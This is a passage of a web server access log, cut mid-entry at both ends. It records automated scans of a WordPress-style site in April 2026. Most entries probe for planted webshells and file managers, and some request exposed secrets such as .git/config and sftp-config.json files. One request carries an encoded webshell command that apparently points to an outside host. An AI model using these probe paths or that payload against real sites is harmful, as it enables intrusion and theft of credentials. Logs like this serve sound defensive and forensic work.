HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:34:11 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:35:36 +0300] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:35:42 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:14 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:37:11 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:37:21 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:37:22 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:37:37 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:37:51 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:39:00 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:43:10 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:44:23 +0300] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:26:04 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:26:18 +0300] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:26:50 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:27:35 +0300] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:31:01 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:31:43 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:32:05 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:35:25 +0300] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:31 +0300] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:38:13 +0300] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:38:39 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:38:47 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:39:14 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:39:21 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:19 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:43:47 +0300] "GET /wp-includes/SimplePie/gzdecodes.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:06:30 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:07:34 +0300] "GET /v.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:10:48 +0300] "GET /wp-content/uploads/2022/10/upload.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:11:33 +0300] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:31 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:37 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 43.153.76.247 - - [27/Apr/2026:04:14:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.212.188.103 - - [27/Apr/2026:04:14:39 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:44 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:45 +0300] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:14:49 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:15:19 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:17:33 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:20:47 +0300] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:20:51 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:21:15 +0300] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:22:39 +0300] "GET /filebrowser.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:30:27 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:30:45 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:33:13 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:33:44 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:35:09 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:35:10 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:36:00 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:39:28 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:39:47 +0300] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:37 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:41 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:40:41 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:33 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:41:33 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:42:07 +0300] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 172.212.188.103 - - [27/Apr/2026:04:43:40 +0300] "GET /.well-known/file.php/ HTTP/1.1" 301 795 "-" "-" 167.172.83.80 - - [27/Apr/2026:05:41:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 80.241.216.17 - - [27/Apr/2026:06:51:39 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 54.226.231.78 - - [27/Apr/2026:07:12:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 85.137.48.167 - - [27/Apr/2026:08:14:45 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 205.210.31.50 - - [27/Apr/2026:06:59:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 182.44.8.254 - - [27/Apr/2026:08:35:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 18.246.166.154 - - [27/Apr/2026:08:52:03 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" 172.212.188.103 - - [27/Apr/2026:12:12:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.166.128.86 - - [27/Apr/2026:10:17:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.7.241.143 - - [27/Apr/2026:12:24:46 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 95.215.32.14 - - [27/Apr/2026:11:46:58 +0300] "GET /plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 49.51.73.183 - - [27/Apr/2026:11:33:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.233.65 - - [27/Apr/2026:13:56:03 +0300] "GET /gzdecodes.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:56:38 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:56:54 +0300] "GET /config.old.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:22 +0300] "GET /str_shuffcle.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:25 +0300] "GET /gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:28 +0300] "GET /wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:19 +0300] "GET /otuz1.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:54 +0300] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:20 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:24 +0300] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:27 +0300] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:30 +0300] "GET /class-walker-page-object.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:32 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:56:13 +0300] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:38 +0300] "GET /1wx.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:34 +0300] "GET /ultra.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:37 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:48 +0300] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:56:22 +0300] "GET /verinfo.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:56:25 +0300] "GET /agent.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:46 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:15 +0300] "GET /smile.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:08 +0300] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:28 +0300] "GET /filebrowser.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:49 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:04 +0300] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:56:30 +0300] "GET /sys_info.php HTTP/1.1" 301 795 "-" "-" 117.33.163.216 - - [27/Apr/2026:15:02:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.233.65 - - [27/Apr/2026:13:54:57 +0300] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:42 +0300] "GET /caches.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:57:00 +0300] "GET /404.php123123 HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:53 +0300] "GET /strcmp.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:53:57 +0300] "GET /52.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:03 +0300] "GET /white.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:54:06 +0300] "GET /link-template-git.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:55:33 +0300] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 20.220.233.65 - - [27/Apr/2026:13:56:43 +0300] "GET /wp-system.php HTTP/1.1" 301 795 "-" "-" 116.76.36.80 - - [27/Apr/2026:15:08:31 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.4070.147 Safari/537.36 LBBROWSER" 216.244.66.194 - - [27/Apr/2026:15:03:48 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 45.148.10.159 - - [27/Apr/2026:15:47:45 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 45.148.10.159 - - [27/Apr/2026:15:47:45 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 45.148.10.159 - - [27/Apr/2026:15:47:45 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 216.244.66.194 - - [27/Apr/2026:16:46:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.128.156.124 - - [27/Apr/2026:16:49:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.156.190 - - [27/Apr/2026:17:36:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.233.65 - - [27/Apr/2026:17:53:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 167.86.150.6 - - [27/Apr/2026:17:32:37 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.65.237.216 - - [27/Apr/2026:19:33:11 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.65.237.216 - - [27/Apr/2026:19:33:17 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 193.124.203.59 - - [27/Apr/2026:19:53:08 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 216.244.66.194 - - [27/Apr/2026:22:34:52 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.159.128.247 - - [27/Apr/2026:23:02:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [27/Apr/2026:22:40:35 +0300] "GET /txets.php?ARRAY=5o313737373337363633392p22687474703n5p2s5p2s38352r3133372r34382r3136375p2s646s6r652r747874222p2258222p226638613531633563383166656138353739393038393634373032363437643264225q HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 188.143.244.148 - - [27/Apr/2026:22:01:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 43.159.141.150 - - [28/Apr/2026:00:08:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.246.55.102 - - [27/Apr/2026:21:43:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 170.246.55.102 - - [27/Apr/2026:21:43:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 114.96.103.33 - - [27/Apr/2026:21:43:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 145.239.81.102 - - [28/Apr/2026:03:03:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0" 125.94.144.102 - - [28/Apr/2026:03:45:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.71.12.112 - - [28/Apr/2026:01:18:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 217.174.107.137 - - [28/Apr/2026:00:51:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3.18.186.238 - - [28/Apr/2026:03:54:19 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 202.133.88.173 - - [28/Apr/2026:04:04:49 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3.18.186.238 - - [28/Apr/2026:04:31:10 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 188.225.33.107 - - [28/Apr/2026:00:51:16 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 216.244.66.194 - - [28/Apr/2026:04:50:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 52.90.255.240 - - [28/Apr/2026:05:41:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 52.90.255.240 - - [28/Apr/2026:05:34:03 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 43.157.191.20 - - [28/Apr/2026:05:42:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.85.246.74 - - [28/Apr/2026:05:46:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 212.47.78.130 - - [28/Apr/2026:08:15:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 212.47.78.130 - - [28/Apr/2026:08:15:52 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 40.69.66.178 - - [28/Apr/2026:09:03:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [28/Apr/2026:09:03:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 216.73.160.34 - - [28/Apr/2026:06:41:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 43.157.156.190 - - [28/Apr/2026:06:41:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 124.236.100.56 - - [28/Apr/2026:11:00:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 17.246.23.125 - - [28/Apr/2026:10:54:19 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.246.23.125 - - [28/Apr/2026:10:54:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 124.236.100.56 - - [28/Apr/2026:11:00:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1" 217.160.202.182 - - [28/Apr/2026:10:54:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 156.67.27.119 - - [28/Apr/2026:10:32:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 156.67.27.119 - - [28/Apr/2026:10:32:14 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.157.156.190 - - [28/Apr/2026:12:12:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.68.236.91 - - [28/Apr/2026:11:53:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.236.91 - - [28/Apr/2026:11:53:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 72.146.2.223 - - [28/Apr/2026:12:46:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 141.98.11.224 - - [28/Apr/2026:13:15:53 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 43.157.20.63 - - [28/Apr/2026:13:02:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.178.176.146 - - [28/Apr/2026:14:48:00 +0300] "GET /card.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:16 +0300] "GET /wp-lacoto.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:53 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:14 +0300] "GET /aios-bootstrap.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:58 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:11 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:11 +0300] "GET /amxloxxr.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:13 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:47 +0300] "GET /e3.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:24 +0300] "GET /masks.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:57 